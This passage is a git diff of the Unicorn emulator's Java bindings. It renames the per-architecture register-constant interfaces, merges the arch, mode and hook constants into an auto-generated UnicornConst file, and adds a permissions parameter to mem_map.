82% rename from bindings/java/unicorn/ArmRegs.java rename to bindings/java/unicorn/ArmConst.java index 754547ed..b2c4644a 100644 --- a/bindings/java/unicorn/ArmRegs.java +++ b/bindings/java/unicorn/ArmConst.java @@ -1,27 +1,11 @@ -/* - -Java bindings for the Unicorn Emulator Engine - -Copyright(c) 2015 Chris Eagle - -This program is free software; you can redistribute it and/or -modify it under the terms of the GNU General Public License -version 2 as published by the Free Software Foundation. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program; if not, write to the Free Software -Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. - -*/ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT package unicorn; -public interface ArmRegs { +public interface ArmConst { + +// ARM registers + public static final int UC_ARM_REG_INVALID = 0; public static final int UC_ARM_REG_APSR = 1; public static final int UC_ARM_REG_APSR_NZCV = 2; @@ -134,11 +118,14 @@ public interface ArmRegs { public static final int UC_ARM_REG_S30 = 109; public static final int UC_ARM_REG_S31 = 110; public static final int UC_ARM_REG_ENDING = 111; - public static final int UC_ARM_REG_R13 = UC_ARM_REG_SP; - public static final int UC_ARM_REG_R14 = UC_ARM_REG_LR; - public static final int UC_ARM_REG_R15 = UC_ARM_REG_PC; - public static final int UC_ARM_REG_SB = UC_ARM_REG_R9; - public static final int UC_ARM_REG_SL = UC_ARM_REG_R10; - public static final int UC_ARM_REG_FP = UC_ARM_REG_R11; - public static final int UC_ARM_REG_IP = UC_ARM_REG_R12; + +// alias registers + public static final int UC_ARM_REG_R13 = 12; + public static final int UC_ARM_REG_R14 = 10; + public static final int UC_ARM_REG_R15 = 11; + public static final int UC_ARM_REG_SB = 75; + public static final int UC_ARM_REG_SL = 76; + public static final int UC_ARM_REG_FP = 77; + public static final int UC_ARM_REG_IP = 78; + } diff --git a/bindings/java/unicorn/M68kRegs.java b/bindings/java/unicorn/M68kConst.java similarity index 57% rename from bindings/java/unicorn/M68kRegs.java rename to bindings/java/unicorn/M68kConst.java index b36d5400..4f0574d8 100644 --- a/bindings/java/unicorn/M68kRegs.java +++ b/bindings/java/unicorn/M68kConst.java @@ -1,27 +1,11 @@ -/* - -Java bindings for the Unicorn Emulator Engine - -Copyright(c) 2015 Chris Eagle - -This program is free software; you can redistribute it and/or -modify it under the terms of the GNU General Public License -version 2 as published by the Free Software Foundation. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program; if not, write to the Free Software -Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. - -*/ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT package unicorn; -public interface M68kRegs { +public interface M68kConst { + +// M68K registers + public static final int UC_M68K_REG_INVALID = 0; public static final int UC_M68K_REG_A0 = 1; public static final int UC_M68K_REG_A1 = 2; @@ -42,4 +26,5 @@ public interface M68kRegs { public static final int UC_M68K_REG_SR = 17; public static final int UC_M68K_REG_PC = 18; public static final int UC_M68K_REG_ENDING = 19; + } diff --git a/bindings/java/unicorn/MipsRegs.java b/bindings/java/unicorn/MipsConst.java similarity index 68% rename from bindings/java/unicorn/MipsRegs.java rename to bindings/java/unicorn/MipsConst.java index f87274d1..9b55cb4e 100644 --- a/bindings/java/unicorn/MipsRegs.java +++ b/bindings/java/unicorn/MipsConst.java @@ -1,28 +1,14 @@ -/* - -Java bindings for the Unicorn Emulator Engine - -Copyright(c) 2015 Chris Eagle - -This program is free software; you can redistribute it and/or -modify it under the terms of the GNU General Public License -version 2 as published by the Free Software Foundation. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program; if not, write to the Free Software -Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. - -*/ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT package unicorn; -public interface MipsRegs { +public interface MipsConst { + +// MIPS registers + public static final int UC_MIPS_REG_INVALID = 0; + +// General purpose registers public static final int UC_MIPS_REG_PC = 1; public static final int UC_MIPS_REG_0 = 2; public static final int UC_MIPS_REG_1 = 3; @@ -56,6 +42,8 @@ public interface MipsRegs { public static final int UC_MIPS_REG_29 = 31; public static final int UC_MIPS_REG_30 = 32; public static final int UC_MIPS_REG_31 = 33; + +// DSP registers public static final int UC_MIPS_REG_DSPCCOND = 34; public static final int UC_MIPS_REG_DSPCARRY = 35; public static final int UC_MIPS_REG_DSPEFI = 36; @@ -67,10 +55,14 @@ public interface MipsRegs { public static final int UC_MIPS_REG_DSPOUTFLAG23 = 42; public static final int UC_MIPS_REG_DSPPOS = 43; public static final int UC_MIPS_REG_DSPSCOUNT = 44; + +// ACC registers public static final int UC_MIPS_REG_AC0 = 45; public static final int UC_MIPS_REG_AC1 = 46; public static final int UC_MIPS_REG_AC2 = 47; public static final int UC_MIPS_REG_AC3 = 48; + +// COP registers public static final int UC_MIPS_REG_CC0 = 49; public static final int UC_MIPS_REG_CC1 = 50; public static final int UC_MIPS_REG_CC2 = 51; @@ -79,6 +71,8 @@ public interface MipsRegs { public static final int UC_MIPS_REG_CC5 = 54; public static final int UC_MIPS_REG_CC6 = 55; public static final int UC_MIPS_REG_CC7 = 56; + +// FPU registers public static final int UC_MIPS_REG_F0 = 57; public static final int UC_MIPS_REG_F1 = 58; public static final int UC_MIPS_REG_F2 = 59; @@ -119,6 +113,8 @@ public interface MipsRegs { public static final int UC_MIPS_REG_FCC5 = 94; public static final int UC_MIPS_REG_FCC6 = 95; public static final int UC_MIPS_REG_FCC7 = 96; + +// AFPR128 public static final int UC_MIPS_REG_W0 = 97; public static final int UC_MIPS_REG_W1 = 98; public static final int UC_MIPS_REG_W2 = 99; @@ -160,45 +156,46 @@ public interface MipsRegs { public static final int UC_MIPS_REG_MPL1 = 135; public static final int UC_MIPS_REG_MPL2 = 136; public static final int UC_MIPS_REG_ENDING = 137; - public static final int UC_MIPS_REG_ZERO = UC_MIPS_REG_0; - public static final int UC_MIPS_REG_AT = UC_MIPS_REG_1; - public static final int UC_MIPS_REG_V0 = UC_MIPS_REG_2; - public static final int UC_MIPS_REG_V1 = UC_MIPS_REG_3; - public static final int UC_MIPS_REG_A0 = UC_MIPS_REG_4; - public static final int UC_MIPS_REG_A1 = UC_MIPS_REG_5; - public static final int UC_MIPS_REG_A2 = UC_MIPS_REG_6; - public static final int UC_MIPS_REG_A3 = UC_MIPS_REG_7; - public static final int UC_MIPS_REG_T0 = UC_MIPS_REG_8; - public static final int UC_MIPS_REG_T1 = UC_MIPS_REG_9; - public static final int UC_MIPS_REG_T2 = UC_MIPS_REG_10; - public static final int UC_MIPS_REG_T3 = UC_MIPS_REG_11; - public static final int UC_MIPS_REG_T4 = UC_MIPS_REG_12; - public static final int UC_MIPS_REG_T5 = UC_MIPS_REG_13; - public static final int UC_MIPS_REG_T6 = UC_MIPS_REG_14; - public static final int UC_MIPS_REG_T7 = UC_MIPS_REG_15; - public static final int UC_MIPS_REG_S0 = UC_MIPS_REG_16; - public static final int UC_MIPS_REG_S1 = UC_MIPS_REG_17; - public static final int UC_MIPS_REG_S2 = UC_MIPS_REG_18; - public static final int UC_MIPS_REG_S3 = UC_MIPS_REG_19; - public static final int UC_MIPS_REG_S4 = UC_MIPS_REG_20; - public static final int UC_MIPS_REG_S5 = UC_MIPS_REG_21; - public static final int UC_MIPS_REG_S6 = UC_MIPS_REG_22; - public static final int UC_MIPS_REG_S7 = UC_MIPS_REG_23; - public static final int UC_MIPS_REG_T8 = UC_MIPS_REG_24; - public static final int UC_MIPS_REG_T9 = UC_MIPS_REG_25; - public static final int UC_MIPS_REG_K0 = UC_MIPS_REG_26; - public static final int UC_MIPS_REG_K1 = UC_MIPS_REG_27; - public static final int UC_MIPS_REG_GP = UC_MIPS_REG_28; - public static final int UC_MIPS_REG_SP = UC_MIPS_REG_29; - public static final int UC_MIPS_REG_FP = UC_MIPS_REG_30; - public static final int UC_MIPS_REG_S8 = UC_MIPS_REG_30; - public static final int UC_MIPS_REG_RA = UC_MIPS_REG_31; - public static final int UC_MIPS_REG_HI0 = UC_MIPS_REG_AC0; - public static final int UC_MIPS_REG_HI1 = UC_MIPS_REG_AC1; - public static final int UC_MIPS_REG_HI2 = UC_MIPS_REG_AC2; - public static final int UC_MIPS_REG_HI3 = UC_MIPS_REG_AC3; - public static final int UC_MIPS_REG_LO0 = UC_MIPS_REG_HI0; - public static final int UC_MIPS_REG_LO1 = UC_MIPS_REG_HI1; - public static final int UC_MIPS_REG_LO2 = UC_MIPS_REG_HI2; - public static final int UC_MIPS_REG_LO3 = UC_MIPS_REG_HI3; + public static final int UC_MIPS_REG_ZERO = 2; + public static final int UC_MIPS_REG_AT = 3; + public static final int UC_MIPS_REG_V0 = 4; + public static final int UC_MIPS_REG_V1 = 5; + public static final int UC_MIPS_REG_A0 = 6; + public static final int UC_MIPS_REG_A1 = 7; + public static final int UC_MIPS_REG_A2 = 8; + public static final int UC_MIPS_REG_A3 = 9; + public static final int UC_MIPS_REG_T0 = 10; + public static final int UC_MIPS_REG_T1 = 11; + public static final int UC_MIPS_REG_T2 = 12; + public static final int UC_MIPS_REG_T3 = 13; + public static final int UC_MIPS_REG_T4 = 14; + public static final int UC_MIPS_REG_T5 = 15; + public static final int UC_MIPS_REG_T6 = 16; + public static final int UC_MIPS_REG_T7 = 17; + public static final int UC_MIPS_REG_S0 = 18; + public static final int UC_MIPS_REG_S1 = 19; + public static final int UC_MIPS_REG_S2 = 20; + public static final int UC_MIPS_REG_S3 = 21; + public static final int UC_MIPS_REG_S4 = 22; + public static final int UC_MIPS_REG_S5 = 23; + public static final int UC_MIPS_REG_S6 = 24; + public static final int UC_MIPS_REG_S7 = 25; + public static final int UC_MIPS_REG_T8 = 26; + public static final int UC_MIPS_REG_T9 = 27; + public static final int UC_MIPS_REG_K0 = 28; + public static final int UC_MIPS_REG_K1 = 29; + public static final int UC_MIPS_REG_GP = 30; + public static final int UC_MIPS_REG_SP = 31; + public static final int UC_MIPS_REG_FP = 32; + public static final int UC_MIPS_REG_S8 = 32; + public static final int UC_MIPS_REG_RA = 33; + public static final int UC_MIPS_REG_HI0 = 45; + public static final int UC_MIPS_REG_HI1 = 46; + public static final int UC_MIPS_REG_HI2 = 47; + public static final int UC_MIPS_REG_HI3 = 48; + public static final int UC_MIPS_REG_LO0 = 45; + public static final int UC_MIPS_REG_LO1 = 46; + public static final int UC_MIPS_REG_LO2 = 47; + public static final int UC_MIPS_REG_LO3 = 48; + } diff --git a/bindings/java/unicorn/SparcRegs.java b/bindings/java/unicorn/SparcConst.java similarity index 83% rename from bindings/java/unicorn/SparcRegs.java rename to bindings/java/unicorn/SparcConst.java index 619e00f2..bd00c736 100644 --- a/bindings/java/unicorn/SparcRegs.java +++ b/bindings/java/unicorn/SparcConst.java @@ -1,27 +1,11 @@ -/* - -Java bindings for the Unicorn Emulator Engine - -Copyright(c) 2015 Chris Eagle - -This program is free software; you can redistribute it and/or -modify it under the terms of the GNU General Public License -version 2 as published by the Free Software Foundation. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program; if not, write to the Free Software -Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. - -*/ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT package unicorn; -public interface SparcRegs { +public interface SparcConst { + +// SPARC registers + public static final int UC_SPARC_REG_INVALID = 0; public static final int UC_SPARC_REG_F0 = 1; public static final int UC_SPARC_REG_F1 = 2; @@ -112,6 +96,7 @@ public interface SparcRegs { public static final int UC_SPARC_REG_XCC = 87; public static final int UC_SPARC_REG_PC = 88; public static final int UC_SPARC_REG_ENDING = 89; - public static final int UC_SPARC_REG_O6 = UC_SPARC_REG_SP; - public static final int UC_SPARC_REG_I6 = UC_SPARC_REG_FP; + public static final int UC_SPARC_REG_O6 = 85; + public static final int UC_SPARC_REG_I6 = 53; + } diff --git a/bindings/java/unicorn/Unicorn.java b/bindings/java/unicorn/Unicorn.java index fa985541..985a322d 100644 --- a/bindings/java/unicorn/Unicorn.java +++ b/bindings/java/unicorn/Unicorn.java @@ -23,8 +23,7 @@ package unicorn; import java.util.*; -public class Unicorn implements UnicornArchs, UnicornModes, UnicornHooks, - ArmRegs, Arm64Regs, M68kRegs, SparcRegs, MipsRegs, X86Regs, X86Instructions { +public class Unicorn implements UnicornConst, ArmConst, Arm64Const, M68kConst, SparcConst, MipsConst, X86Const { // Scales to calculate timeout on microsecond unit // 1 second = 1000,000 microseconds @@ -624,7 +623,7 @@ public class Unicorn implements UnicornArchs, UnicornModes, UnicornHooks, * @param address Base address of the memory range * @param size Size of the memory block. */ - public native void mem_map(long address, long size) throws UnicornException; + public native void mem_map(long address, long size, int perms) throws UnicornException; } diff --git a/bindings/java/unicorn/UnicornArchs.java b/bindings/java/unicorn/UnicornArchs.java deleted file mode 100644 index 98c57b0e..00000000 --- a/bindings/java/unicorn/UnicornArchs.java +++ /dev/null @@ -1,34 +0,0 @@ -/* - -Java bindings for the Unicorn Emulator Engine - -Copyright(c) 2015 Chris Eagle - -This program is free software; you can redistribute it and/or -modify it under the terms of the GNU General Public License -version 2 as published by the Free Software Foundation. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program; if not, write to the Free Software -Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. - -*/ - -package unicorn; - -public interface UnicornArchs { - public static final int UC_ARCH_ARM = 1; // ARM architecture (including Thumb, Thumb-2) - public static final int UC_ARCH_ARM64 = 2; // ARM-64, also called AArch64 - public static final int UC_ARCH_MIPS = 3; // Mips architecture - public static final int UC_ARCH_X86 = 4; // X86 architecture (including x86 & x86-64) - public static final int UC_ARCH_PPC = 5; // PowerPC architecture - public static final int UC_ARCH_SPARC = 6; // Sparc architecture - public static final int UC_ARCH_M68K = 7; // M68K architecture - public static final int UC_ARCH_MAX = 8; - public static final int UC_ARCH_ALL = 0xFFFF; // All architectures - for uc_support() -} diff --git a/bindings/java/unicorn/UnicornConst.java b/bindings/java/unicorn/UnicornConst.java new file mode 100644 index 00000000..3ede5201 --- /dev/null +++ b/bindings/java/unicorn/UnicornConst.java @@ -0,0 +1,71 @@ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT + +package unicorn; + +public interface UnicornConst { + + public static final int UC_API_MAJOR = 0; + public static final int UC_API_MINOR = 9; + public static final int UC_SECOND_SCALE = 1000000; + public static final int UC_MILISECOND_SCALE = 1000; + public static final int UC_ARCH_ARM = 1; + public static final int UC_ARCH_ARM64 = 2; + public static final int UC_ARCH_MIPS = 3; + public static final int UC_ARCH_X86 = 4; + public static final int UC_ARCH_PPC = 5; + public static final int UC_ARCH_SPARC = 6; + public static final int UC_ARCH_M68K = 7; + public static final int UC_ARCH_MAX = 8; + + public static final int UC_MODE_LITTLE_ENDIAN = 0; + + public static final int UC_MODE_ARM = 0; + public static final int UC_MODE_16 = 2; + public static final int UC_MODE_32 = 4; + public static final int UC_MODE_64 = 8; + public static final int UC_MODE_THUMB = 16; + public static final int UC_MODE_MCLASS = 32; + public static final int UC_MODE_V8 = 64; + public static final int UC_MODE_MICRO = 16; + public static final int UC_MODE_MIPS3 = 32; + public static final int UC_MODE_MIPS32R6 = 64; + public static final int UC_MODE_V9 = 16; + public static final int UC_MODE_QPX = 16; + public static final int UC_MODE_BIG_ENDIAN = 0x80000000; + public static final int UC_MODE_MIPS32 = 4; + public static final int UC_MODE_MIPS64 = 8; + + public static final int UC_ERR_OK = 0; + public static final int UC_ERR_OOM = 1; + public static final int UC_ERR_ARCH = 2; + public static final int UC_ERR_HANDLE = 3; + public static final int UC_ERR_UCH = 4; + public static final int UC_ERR_MODE = 5; + public static final int UC_ERR_VERSION = 6; + public static final int UC_ERR_MEM_READ = 7; + public static final int UC_ERR_MEM_WRITE = 8; + public static final int UC_ERR_CODE_INVALID = 9; + public static final int UC_ERR_HOOK = 10; + public static final int UC_ERR_INSN_INVALID = 11; + public static final int UC_ERR_MAP = 12; + public static final int UC_ERR_MEM_WRITE_NW = 13; + public static final int UC_ERR_MEM_READ_NR = 14; + public static final int UC_MEM_READ = 16; + public static final int UC_MEM_WRITE = 17; + public static final int UC_MEM_READ_WRITE = 18; + public static final int UC_MEM_WRITE_NW = 19; + public static final int UC_MEM_READ_NR = 20; + public static final int UC_MEM_NX = 21; + public static final int UC_HOOK_INTR = 32; + public static final int UC_HOOK_INSN = 33; + public static final int UC_HOOK_CODE = 34; + public static final int UC_HOOK_BLOCK = 35; + public static final int UC_HOOK_MEM_INVALID = 36; + public static final int UC_HOOK_MEM_READ = 37; + public static final int UC_HOOK_MEM_WRITE = 38; + public static final int UC_HOOK_MEM_READ_WRITE = 39; + public static final int UC_PROT_READ = 1; + public static final int UC_PROT_WRITE = 2; + public static final int UC_PROT_EXEC = 4; + +} diff --git a/bindings/java/unicorn/UnicornHooks.java b/bindings/java/unicorn/UnicornHooks.java deleted file mode 100644 index 703753ba..00000000 --- a/bindings/java/unicorn/UnicornHooks.java +++ /dev/null @@ -1,38 +0,0 @@ -/* - -Java bindings for the Unicorn Emulator Engine - -Copyright(c) 2015 Chris Eagle - -This program is free software; you can redistribute it and/or -modify it under the terms of the GNU General Public License -version 2 as published by the Free Software Foundation. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program; if not, write to the Free Software -Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. - -*/ - -package unicorn; - -public interface UnicornHooks { - - public static final int UC_MEM_READ = 16; // Memory is read from - public static final int UC_MEM_WRITE = 17; // Memory is written to - public static final int UC_MEM_READ_WRITE = 18; // Memory is accessed (either READ or WRITE) - - public static final int UC_HOOK_INTR = 32; // Hook all interrupt events - public static final int UC_HOOK_INSN = 33; // Hook a particular instruction - public static final int UC_HOOK_CODE = 34; // Hook a range of code - public static final int UC_HOOK_BLOCK = 35; // Hook basic blocks - public static final int UC_HOOK_MEM_INVALID = 36; // Hook for all invalid memory access events - public static final int UC_HOOK_MEM_READ = 37; // Hook all memory read events. - public static final int UC_HOOK_MEM_WRITE = 38; // Hook all memory write events. - public static final int UC_HOOK_MEM_READ_WRITE = 39; // Hook all memory accesses (either READ or WRITE). -} diff --git a/bindings/java/unicorn/UnicornModes.java b/bindings/java/unicorn/UnicornModes.java deleted file mode 100644 index b81a2065..00000000 --- a/bindings/java/unicorn/UnicornModes.java +++ /dev/null @@ -1,20 +0,0 @@ -package unicorn; - -public interface UnicornModes { - public static final int UC_MODE_LITTLE_ENDIAN = 0; // little-endian mode (default mode) - public static final int UC_MODE_ARM = 0; // 32-bit ARM - public static final int UC_MODE_16 = 1 << 1; // 16-bit mode (X86) - public static final int UC_MODE_32 = 1 << 2; // 32-bit mode (X86) - public static final int UC_MODE_64 = 1 << 3; // 64-bit mode (X86; PPC) - public static final int UC_MODE_THUMB = 1 << 4; // ARM's Thumb mode; including Thumb-2 - public static final int UC_MODE_MCLASS = 1 << 5; // ARM's Cortex-M series - public static final int UC_MODE_V8 = 1 << 6; // ARMv8 A32 encodings for ARM - public static final int UC_MODE_MICRO = 1 << 4; // MicroMips mode (MIPS) - public static final int UC_MODE_MIPS3 = 1 << 5; // Mips III ISA - public static final int UC_MODE_MIPS32R6 = 1 << 6; // Mips32r6 ISA - public static final int UC_MODE_V9 = 1 << 4; // SparcV9 mode (Sparc) - public static final int UC_MODE_QPX = 1 << 4; // Quad Processing eXtensions mode (PPC) - public static final int UC_MODE_BIG_ENDIAN = 1 << 31; // big-endian mode - public static final int UC_MODE_MIPS32 = UC_MODE_32; // Mips32 ISA (Mips) - public static final int UC_MODE_MIPS64 = UC_MODE_64; // Mips64 ISA (Mips) -} diff --git a/bindings/java/unicorn/X86Instructions.java b/bindings/java/unicorn/X86Const.java similarity index 85% rename from bindings/java/unicorn/X86Instructions.java rename to bindings/java/unicorn/X86Const.java index 17108d7e..1a558a63 100644 --- a/bindings/java/unicorn/X86Instructions.java +++ b/bindings/java/unicorn/X86Const.java @@ -1,27 +1,257 @@ -/* - -Java bindings for the Unicorn Emulator Engine - -Copyright(c) 2015 Chris Eagle - -This program is free software; you can redistribute it and/or -modify it under the terms of the GNU General Public License -version 2 as published by the Free Software Foundation. - -This program is distributed in the hope that it will be useful, -but WITHOUT ANY WARRANTY; without even the implied warranty of -MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -GNU General Public License for more details. - -You should have received a copy of the GNU General Public License -along with this program; if not, write to the Free Software -Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. - -*/ +// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT package unicorn; -public interface X86Instructions { +public interface X86Const { + +// X86 registers + + public static final int UC_X86_REG_INVALID = 0; + public static final int UC_X86_REG_AH = 1; + public static final int UC_X86_REG_AL = 2; + public static final int UC_X86_REG_AX = 3; + public static final int UC_X86_REG_BH = 4; + public static final int UC_X86_REG_BL = 5; + public static final int UC_X86_REG_BP = 6; + public static final int UC_X86_REG_BPL = 7; + public static final int UC_X86_REG_BX = 8; + public static final int UC_X86_REG_CH = 9; + public static final int UC_X86_REG_CL = 10; + public static final int UC_X86_REG_CS = 11; + public static final int UC_X86_REG_CX = 12; + public static final int UC_X86_REG_DH = 13; + public static final int UC_X86_REG_DI = 14; + public static final int UC_X86_REG_DIL = 15; + public static final int UC_X86_REG_DL = 16; + public static final int UC_X86_REG_DS = 17; + public static final int UC_X86_REG_DX = 18; + public static final int UC_X86_REG_EAX = 19; + public static final int UC_X86_REG_EBP = 20; + public static final int UC_X86_REG_EBX = 21; + public static final int UC_X86_REG_ECX = 22; + public static final int UC_X86_REG_EDI = 23; + public static final int UC_X86_REG_EDX = 24; + public static final int UC_X86_REG_EFLAGS = 25; + public static final int UC_X86_REG_EIP = 26; + public static final int UC_X86_REG_EIZ = 27; + public static final int UC_X86_REG_ES = 28; + public static final int UC_X86_REG_ESI = 29; + public static final int UC_X86_REG_ESP = 30; + public static final int UC_X86_REG_FPSW = 31; + public static final int UC_X86_REG_FS = 32; + public static final int UC_X86_REG_GS = 33; + public static final int UC_X86_REG_IP = 34; + public static final int UC_X86_REG_RAX = 35; + public static final int UC_X86_REG_RBP = 36; + public static final int UC_X86_REG_RBX = 37; + public static final int UC_X86_REG_RCX = 38; + public static final int UC_X86_REG_RDI = 39; + public static final int UC_X86_REG_RDX = 40; + public static final int UC_X86_REG_RIP = 41; + public static final int UC_X86_REG_RIZ = 42; + public static final int UC_X86_REG_RSI = 43; + public static final int UC_X86_REG_RSP = 44; + public static final int UC_X86_REG_SI = 45; + public static final int UC_X86_REG_SIL = 46; + public static final int UC_X86_REG_SP = 47; + public static final int UC_X86_REG_SPL = 48; + public static final int UC_X86_REG_SS = 49; + public static final int UC_X86_REG_CR0 = 50; + public static final int UC_X86_REG_CR1 = 51; + public static final int UC_X86_REG_CR2 = 52; + public static final int UC_X86_REG_CR3 = 53; + public static final int UC_X86_REG_CR4 = 54; + public static final int UC_X86_REG_CR5 = 55; + public static final int UC_X86_REG_CR6 = 56; + public static final int UC_X86_REG_CR7 = 57; + public static final int UC_X86_REG_CR8 = 58; + public static final int UC_X86_REG_CR9 = 59; + public static final int UC_X86_REG_CR10 = 60; + public static final int UC_X86_REG_CR11 = 61; + public static final int UC_X86_REG_CR12 = 62; + public static final int UC_X86_REG_CR13 = 63; + public static final int UC_X86_REG_CR14 = 64; + public static final int UC_X86_REG_CR15 = 65; + public static final int UC_X86_REG_DR0 = 66; + public static final int UC_X86_REG_DR1 = 67; + public static final int UC_X86_REG_DR2 = 68; + public static final int UC_X86_REG_DR3 = 69; + public static final int UC_X86_REG_DR4 = 70; + public static final int UC_X86_REG_DR5 = 71; + public static final int UC_X86_REG_DR6 = 72; + public static final int UC_X86_REG_DR7 = 73; + public static final int UC_X86_REG_DR8 = 74; + public static final int UC_X86_REG_DR9 = 75; + public static final int UC_X86_REG_DR10 = 76; + public static final int UC_X86_REG_DR11 = 77; + public static final int UC_X86_REG_DR12 = 78; + public static final int UC_X86_REG_DR13 = 79; + public static final int UC_X86_REG_DR14 = 80; + public static final int UC_X86_REG_DR15 = 81; + public static final int UC_X86_REG_FP0 = 82; + public static final int UC_X86_REG_FP1 = 83; + public static final int UC_X86_REG_FP2 = 84; + public static final int UC_X86_REG_FP3 = 85; + public static final int UC_X86_REG_FP4 = 86; + public static final int UC_X86_REG_FP5 = 87; + public static final int UC_X86_REG_FP6 = 88; + public static final int UC_X86_REG_FP7 = 89; + public static final int UC_X86_REG_K0 = 90; + public static final int UC_X86_REG_K1 = 91; + public static final int UC_X86_REG_K2 = 92; + public static final int UC_X86_REG_K3 = 93; + public static final int UC_X86_REG_K4 = 94; + public static final int UC_X86_REG_K5 = 95; + public static final int UC_X86_REG_K6 = 96; + public static final int UC_X86_REG_K7 = 97; + public static final int UC_X86_REG_MM0 = 98; + public static final int UC_X86_REG_MM1 = 99; + public static final int UC_X86_REG_MM2 = 100; + public static final int UC_X86_REG_MM3 = 101; + public static final int UC_X86_REG_MM4 = 102; + public static final int UC_X86_REG_MM5 = 103; + public static final int UC_X86_REG_MM6 = 104; + public static final int UC_X86_REG_MM7 = 105; + public static final int UC_X86_REG_R8 = 106; + public static final int UC_X86_REG_R9 = 107; + public static final int UC_X86_REG_R10 = 108; + public static final int UC_X86_REG_R11 = 109; + public static final int UC_X86_REG_R12 = 110; + public static final int UC_X86_REG_R13 = 111; + public static final int UC_X86_REG_R14 = 112; + public static final int UC_X86_REG_R15 = 113; + public static final int UC_X86_REG_ST0 = 114; + public static final int UC_X86_REG_ST1 = 115; + public static final int UC_X86_REG_ST2 = 116; + public static final int UC_X86_REG_ST3 = 117; + public static final int UC_X86_REG_ST4 = 118; + public static final int UC_X86_REG_ST5 = 119; + public static final int UC_X86_REG_ST6 = 120; + public static final int UC_X86_REG_ST7 = 121; + public static final int UC_X86_REG_XMM0 = 122; + public static final int UC_X86_REG_XMM1 = 123; + public static final int UC_X86_REG_XMM2 = 124; + public static final int UC_X86_REG_XMM3 = 125; + public static final int UC_X86_REG_XMM4 = 126; + public static final int UC_X86_REG_XMM5 = 127; + public static final int UC_X86_REG_XMM6 = 128; + public static final int UC_X86_REG_XMM7 = 129; + public static final int UC_X86_REG_XMM8 = 130; + public static final int UC_X86_REG_XMM9 = 131; + public static final int UC_X86_REG_XMM10 = 132; + public static final int UC_X86_REG_XMM11 = 133; + public static final int UC_X86_REG_XMM12 = 134; + public static final int UC_X86_REG_XMM13 = 135; + public static final int UC_X86_REG_XMM14 = 136; + public static final int UC_X86_REG_XMM15 = 137; + public static final int UC_X86_REG_XMM16 = 138; + public static final int UC_X86_REG_XMM17 = 139; + public static final int UC_X86_REG_XMM18 = 140; + public static final int UC_X86_REG_XMM19 = 141; + public static final int UC_X86_REG_XMM20 = 142; + public static final int UC_X86_REG_XMM21 = 143; + public static final int UC_X86_REG_XMM22 = 144; + public static final int UC_X86_REG_XMM23 = 145; + public static final int UC_X86_REG_XMM24 = 146; + public static final int UC_X86_REG_XMM25 = 147; + public static final int UC_X86_REG_XMM26 = 148; + public static final int UC_X86_REG_XMM27 = 149; + public static final int UC_X86_REG_XMM28 = 150; + public static final int UC_X86_REG_XMM29 = 151; + public static final int UC_X86_REG_XMM30 = 152; + public static final int UC_X86_REG_XMM31 = 153; + public static final int UC_X86_REG_YMM0 = 154; + public static final int UC_X86_REG_YMM1 = 155; + public static final int UC_X86_REG_YMM2 = 156; + public static final int UC_X86_REG_YMM3 = 157; + public static final int UC_X86_REG_YMM4 = 158; + public static final int UC_X86_REG_YMM5 = 159; + public static final int UC_X86_REG_YMM6 = 160; + public static final int UC_X86_REG_YMM7 = 161; + public static final int UC_X86_REG_YMM8 = 162; + public static final int UC_X86_REG_YMM9 = 163; + public static final int UC_X86_REG_YMM10 = 164; + public static final int UC_X86_REG_YMM11 = 165; + public static final int UC_X86_REG_YMM12 = 166; + public static final int UC_X86_REG_YMM13 = 167; + public static final int UC_X86_REG_YMM14 = 168; + public static final int UC_X86_REG_YMM15 = 169; + public static final int UC_X86_REG_YMM16 = 170; + public static final int UC_X86_REG_YMM17 = 171; + public static final int UC_X86_REG_YMM18 = 172; + public static final int UC_X86_REG_YMM19 = 173; + public static final int UC_X86_REG_YMM20 = 174; + public static final int UC_X86_REG_YMM21 = 175; + public static final int UC_X86_REG_YMM22 = 176; + public static final int UC_X86_REG_YMM23 = 177; + public static final int UC_X86_REG_YMM24 = 178; + public static final int UC_X86_REG_YMM25 = 179; + public static final int UC_X86_REG_YMM26 = 180; + public static final int UC_X86_REG_YMM27 = 181; + public static final int UC_X86_REG_YMM28 = 182; + public static final int UC_X86_REG_YMM29 = 183; + public static final int UC_X86_REG_YMM30 = 184; + public static final int 